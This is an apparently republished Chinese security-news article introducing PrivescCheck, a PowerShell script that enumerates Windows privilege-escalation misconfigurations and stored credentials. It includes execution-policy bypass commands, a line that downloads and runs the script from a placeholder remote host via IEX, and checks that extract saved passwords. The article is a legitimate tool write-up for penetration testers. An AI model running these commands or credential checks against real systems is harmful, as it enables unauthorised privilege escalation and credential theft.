前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >PrivescCheck:一款针对Windows系统的提权枚举脚本

PrivescCheck:一款针对Windows系统的提权枚举脚本

作者头像
FB客服
发布2020-04-14 12:48:22
1.3K0
发布2020-04-14 12:48:22
举报
文章被收录于专栏:FreeBufFreeBuf

PrivescCheck

PrivescCheck是一款针对Windows系统的提权枚举脚本,该脚本能够枚举出目标Windows系统中常见的Windows错误安全配置,而这些错误的安全配置将允许攻击者在目标系统中实现信息收集以及权限提升,这些对于攻击者的漏洞利用以及后渗透攻击来说将非常有用。

该工具基于PowerUp这款工具实现,并且添加了更多的检测机制,以降低工具的误报率。

目前,该项目仍处于开发阶段,因为我们还打算向其中添加更多的检测机制,不过该项目现已接近完工。

其实我本人非常喜欢PowerUp,因为它可以快速枚举出目标设备中的常见漏洞,而且无需借助第三方工具实现。但问题就在于,该工具已经多年未更新了,而且该工具有的时候返回的结果并不准确,存在一定的误报。

因此,在PrivescCheck脚本中我们考虑了以下几个方面:

1、不使用类似accesschk.exe之类的第三方工具; 2、不使用类似whoami.exe或netstat.exe之类的Windows内置命令; 3、不使用类似sc.exe或tasklist.exe之类的Windows内置工具; 4、不使用WMI; 5、必须兼容PowerShell v2;

工具下载

广大研究人员可以使用下列命令将项目源码克隆至本地:

代码语言:javascript
复制
git clone https://github.com/itm4n/PrivescCheck.git

工具使用

我们可以直接在一个PowerShell命令行控制台中运行该脚本:

代码语言:javascript
复制
PS C:\Temp\> Set-ExecutionPolicy Bypass -Scope Process -Force     PS C:\Temp\> . .\Invoke-PrivescCheck.ps1; Invoke-PrivescCheck

该工具在显示输出数据的同时,会将它们写入到一个日志文件中:

代码语言:javascript
复制
PS C:\Temp\> . .\Invoke-PrivescCheck.ps1; Invoke-PrivescCheck | Tee-Object "C:\Temp\result.txt"

除此之外,我们也可以打开CMD命令行工具来使用该脚本:

代码语言:javascript
复制
C:\Temp\>powershell -ep bypass -c ". .\Invoke-PrivescCheck.ps1; Invoke-PrivescCheck"

当然了,你也可以从一台远程Web服务器来导入并使用该脚本:

代码语言:javascript
复制
C:\Temp\>powershell "IEX (New-Object Net.WebClient).DownloadString('http://LHOST:LPORT/Invoke-PrivescCheck.ps1'); Invoke-PrivescCheck"

功能介绍

获取当前用户信息

Invoke-UserCheck - 获取当前用户的用户名和SID Invoke-UserGroupsCheck - 枚举当前用户所属的组(默认组和低特权组除外) Invoke-UserPrivilegesCheck - 枚举潜在高权限用户的令牌

获取目标设备服务

Invoke-InstalledServicesCheck - 枚举非默认服务 Invoke-ServicesPermissionsCheck - 枚举当前用户可以通过服务控制管理器修改的服务 Invoke-ServicesPermissionsRegistryCheck - 枚举当前用户可在注册表中修改的服务 Invoke-ServicesImagePermissionsCheck - E枚举具有可修改二进制文件(或参数)的所有服务 Invoke-ServicesUnquotedPathCheck - 枚举具有可利用的未引用路径的服务

DLL劫持

代码语言:javascript
复制
Invoke-DllHijackingCheck - 检查是否有任何系统路径文件夹可修改

程序/进程获取

Invoke-InstalledProgramsCheck - 枚举默认情况下未安装的应用程序 Invoke-ModifiableProgramsCheck - 枚举拥有DLL文件的可修改EXE的应用程序 Invoke-RunningProcessCheck - 枚举正在运行的进程

获取凭据

Invoke-SamBackupFilesCheck - 检查SAM/SYSTEM备份文件的常用位置 Invoke-UnattendFilesCheck -枚举无人使用的文件并提取凭证 Invoke-WinlogonCheck - 检查存储在Winlogon注册表项中的凭据 Invoke-CredentialFilesCheck - 枚举存储在当前用户AppData文件夹中的凭据文件 Invoke-VaultCredCheck - 枚举保存在凭据管理器中的凭据 Invoke-VaultListCheck - 枚举保存在凭据管理器中的web凭据 Invoke-GPPPasswordCheck - 枚举包含非空“cpassword”字段的组策略首选项(GPP)

获取注册表信息

Invoke-UacCheck - 检查是否启用了UAC(用户访问控制) Invoke-LapsCheck - 检查是否启用了LAPS(本地管理密码解决方案) Invoke-PowershellTranscriptionCheck - 检查是否配置/启用了PowerShell转录 Invoke-RegistryAlwaysInstallElevatedCheck - 检查注册表中是否设置了AlwaysInstallElevated项 Invoke-LsaProtectionsCheck - 检查LSASS是否作为受保护进程运行(附加检查)

获取网络信息

Invoke-TcpEndpointsCheck - 枚举本地计算机(IPv4和IPv6)上的异常TCP节点 Invoke-UdpEndpointsCheck - 枚举本地计算机(IPv4和IPv6)上的异常UDP节点

其他杂项

Invoke-WindowsUpdateCheck - 检查目标设备的上次更新时间 Invoke-SystemInfoCheck - 获取目标设备操作系统的名称和完整的版本字符串 Invoke-LocalAdminGroupCheck - 枚举默认本地管理组的成员 Invoke-MachineRoleCheck - 获取目标设备的角色(工作站、服务器、域控制器) Invoke-SystemStartupHistoryCheck - 获取目标设备系统启动事件的列表 Invoke-SystemStartupCheck - 获取目标系统的上次启动时间 Invoke-SystemDrivesCheck - 获取当前映射的本地驱动器和网络共享的列表

* 参考来源:itm4n,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-04-05,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 FreeBuf 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • PrivescCheck
  • 工具下载
  • 工具使用
  • 功能介绍
    • 获取当前用户信息
      • 获取目标设备服务
        • DLL劫持
          • 程序/进程获取
            • 获取凭据
              • 获取注册表信息
                • 获取网络信息
                  • 其他杂项
                  相关产品与服务
                  命令行工具
                  腾讯云命令行工具 TCCLI 是管理腾讯云资源的统一工具。使用腾讯云命令行工具,您可以快速调用腾讯云 API 来管理您的腾讯云资源。此外,您还可以基于腾讯云的命令行工具来做自动化和脚本处理,以更多样的方式进行组合和重用。
                  领券
                  问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档